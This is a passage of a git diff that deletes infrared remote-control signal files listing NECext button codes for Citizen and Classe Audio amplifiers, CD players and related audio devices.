-command: 4E 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 50 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 51 00 00 00 -# -name: A_5_IN -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 52 00 00 00 -# -name: DISPLY -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 53 00 00 00 -# -name: A_6_IN -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 54 00 00 00 -# -name: D_1_IN -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 55 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 55 00 00 00 -# -name: D_2_IN -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 57 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 58 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 84 42 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir deleted file mode 100644 index 322ab6ffc..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: X_KEY_0+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: L/R -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: GOTO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: STEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: PBC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir deleted file mode 100644 index a10199616..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_TOGGLE_AMP1_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 01 00 00 00 -# -name: POWER_TOGGLE_AMP1_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 01 00 00 00 -# -name: POWER_TOGGLE_AMP2_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 02 00 00 00 -# -name: POWER_TOGGLE_AMP2_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 02 00 00 00 -# -name: POWER_TOGGLE_AMP3_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 03 00 00 00 -# -name: POWER_TOGGLE_AMP3_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 03 00 00 00 -# -name: POWER_TOGGLE_AMP4_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 04 00 00 00 -# -name: POWER_TOGGLE_AMP4_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 04 00 00 00 -# -name: POWER_TOGGLE_AMP5_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 05 00 00 00 -# -name: POWER_TOGGLE_AMP5_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 05 00 00 00 -# -name: POWER_TOGGLE_AMP6_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 06 00 00 00 -# -name: POWER_TOGGLE_AMP6_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 06 00 00 00 -# -name: POWER_TOGGLE_AMP7_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 07 00 00 00 -# -name: POWER_TOGGLE_AMP7_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 07 00 00 00 -# -name: POWER_TOGGLE_AMP8_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 08 00 00 00 -# -name: POWER_TOGGLE_AMP8_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 08 00 00 00 -# -name: POWER_TOGGLE_AMP9_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 09 00 00 00 -# -name: POWER_TOGGLE_AMP9_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 09 00 00 00 -# -name: STANDBY_TOGGLE_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 0C 00 00 00 -# -name: STANDBY_TOGGLE_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 0C 00 00 00 -# -name: MUTE_TOGGLE_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 0D 00 00 00 -# -name: MUTE_TOGGLE_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 0D 00 00 00 -# -name: DISPLAY_STEP_TOG_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 0F 00 00 00 -# -name: DISPLAY_STEP_TOG_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 0F 00 00 00 -# -name: POWER_TOG_AMP10_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 78 00 00 00 -# -name: POWER_TOG_AMP10_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 78 00 00 00 -# -name: POWER_TOG_AMP11_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 79 00 00 00 -# -name: POWER_TOG_AMP11_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 79 00 00 00 -# -name: POWER_TOG_AMP12_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 7A 00 00 00 -# -name: POWER_TOG_AMP12_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 7A 00 00 00 -# -name: POWER_TOG_AMP13_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 7B 00 00 00 -# -name: POWER_TOG_AMP13_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 7B 00 00 00 -# -name: POWER_TOG_AMP14_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 7C 00 00 00 -# -name: POWER_TOG_AMP14_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 7C 00 00 00 -# -name: POWER_TOG_AMP15_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 7D 00 00 00 -# -name: POWER_TOG_AMP15_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 7D 00 00 00 -# -name: OPERATE_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 96 00 00 00 -# -name: OPERATE_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 96 00 00 00 -# -name: STANDBY_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 97 00 00 00 -# -name: STANDBY_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 97 00 00 00 -# -name: MUTE_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 98 00 00 00 -# -name: MUTE_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 98 00 00 00 -# -name: UNMUTE_T0 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 99 00 00 00 -# -name: UNMUTE_T1 -type: parsed -protocol: NECext -address: C9 00 00 00 -command: 99 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir deleted file mode 100644 index e1a637d58..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ON_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 08 00 00 00 -# -name: ON_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 08 00 00 00 -# -name: OFF_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: OFF_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: AMP4_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: AMP4_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: AMP3_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: AMP3_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: AMP2_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1A 00 00 00 -# -name: AMP2_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1A 00 00 00 -# -name: AMP1_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: AMP1_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: AMP6_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: AMP6_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: AMP5_T0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: AMP5_T1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir deleted file mode 100644 index 034ed2a14..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: MUTE_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: VOL+_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: VOL+_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: VOL-_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: VOL-_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: BAL_R_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: BAL_R_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: BAL_L_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: BAL_L_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir deleted file mode 100644 index 3c20debb4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir +++ /dev/null @@ -1,128 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 00 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 04 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 08 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 08 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 09 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 0A 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 0B 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 0C 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 0D 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 0E 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 0F 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 10 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 11 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 12 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 13 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 14 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 15 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 16 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 17 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 18 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 86 61 00 00 -command: 19 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir deleted file mode 100644 index 3f4b7acc5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 0_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 1_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 1_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 2_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 2_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 3_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 3_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 4_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 4_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 5_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 5_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 6_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 6_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 7_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 7_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 8_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 8_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 9_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: 9_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: STANDBY_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0C 00 00 00 -# -name: STANDBY_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0C 00 00 00 -# -name: SHUFFLE_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: SHUFFLE_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: REPEAT_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: REPEAT_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: NEXT_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: NEXT_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: PREV_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: PREV_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: STORE_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 29 00 00 00 -# -name: STORE_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 29 00 00 00 -# -name: SCAN_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: SCAN_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: PAUSE_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: PAUSE_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: <<_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: <<_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: >>_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: >>_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: PLAY_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: PLAY_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: STOP_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir deleted file mode 100644 index 1657e70a7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/16,-1.ir +++ /dev/null @@ -1,266 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: POWER_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: MUTE_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: MUTE_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: VOL+_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOL+_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: VOL-_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: VOL-_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: TUN_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: TUN_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: CD_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 15 00 00 00 -# -name: CD_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 15 00 00 00 -# -name: TP1_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 16 00 00 00 -# -name: TP1_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 16 00 00 00 -# -name: TP2_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 17 00 00 00 -# -name: TP2_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 17 00 00 00 -# -name: AUX_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 18 00 00 00 -# -name: AUX_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 18 00 00 00 -# -name: BAL_R_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1A 00 00 00 -# -name: BAL_R_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1A 00 00 00 -# -name: BAL_L_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1B 00 00 00 -# -name: BAL_L_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1B 00 00 00 -# -name: TIMER_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 26 00 00 00 -# -name: TIMER_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 26 00 00 00 -# -name: ALARM_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 29 00 00 00 -# -name: ALARM_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 29 00 00 00 -# -name: TIME_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2A 00 00 00 -# -name: TIME_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2A 00 00 00 -# -name: TIME+_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2B 00 00 00 -# -name: TIME+_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2B 00 00 00 -# -name: TIME-_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2C 00 00 00 -# -name: TIME-_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2C 00 00 00 -# -name: REC_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 37 00 00 00 -# -name: REC_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 37 00 00 00 -# -name: LISTEN_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 38 00 00 00 -# -name: LISTEN_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 38 00 00 00 -# -name: BASS+_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6B 00 00 00 -# -name: BASS+_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6B 00 00 00 -# -name: BASS-_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6C 00 00 00 -# -name: BASS-_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6C 00 00 00 -# -name: TREB+_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6D 00 00 00 -# -name: TREB+_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6D 00 00 00 -# -name: TREB-_T0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6E 00 00 00 -# -name: TREB-_T1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir deleted file mode 100644 index 10dd700af..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/17,-1.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MONO_T0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1C 00 00 00 -# -name: MONO_T1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 1C 00 00 00 -# -name: -_(SCAN/TUNE)_T0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 22 00 00 00 -# -name: -_(SCAN/TUNE)_T1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 22 00 00 00 -# -name: +_(SCAN/TUNE)_T0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: +_(SCAN/TUNE)_T1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 28 00 00 00 -# -name: BAND_T0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2E 00 00 00 -# -name: BAND_T1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 2E 00 00 00 -# -name: STORE_T0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 37 00 00 00 -# -name: STORE_T1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 37 00 00 00 -# -name: PRESET_T0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: PRESET_T1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 38 00 00 00 -# -name: SIGNAL_T0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: SIGNAL_T1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 39 00 00 00 -# -name: TUNE_T0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: TUNE_T1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3A 00 00 00 -# -name: SCAN_T0 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3B 00 00 00 -# -name: SCAN_T1 -type: parsed -protocol: NECext -address: 11 00 00 00 -command: 3B 00 00 00 diff --git 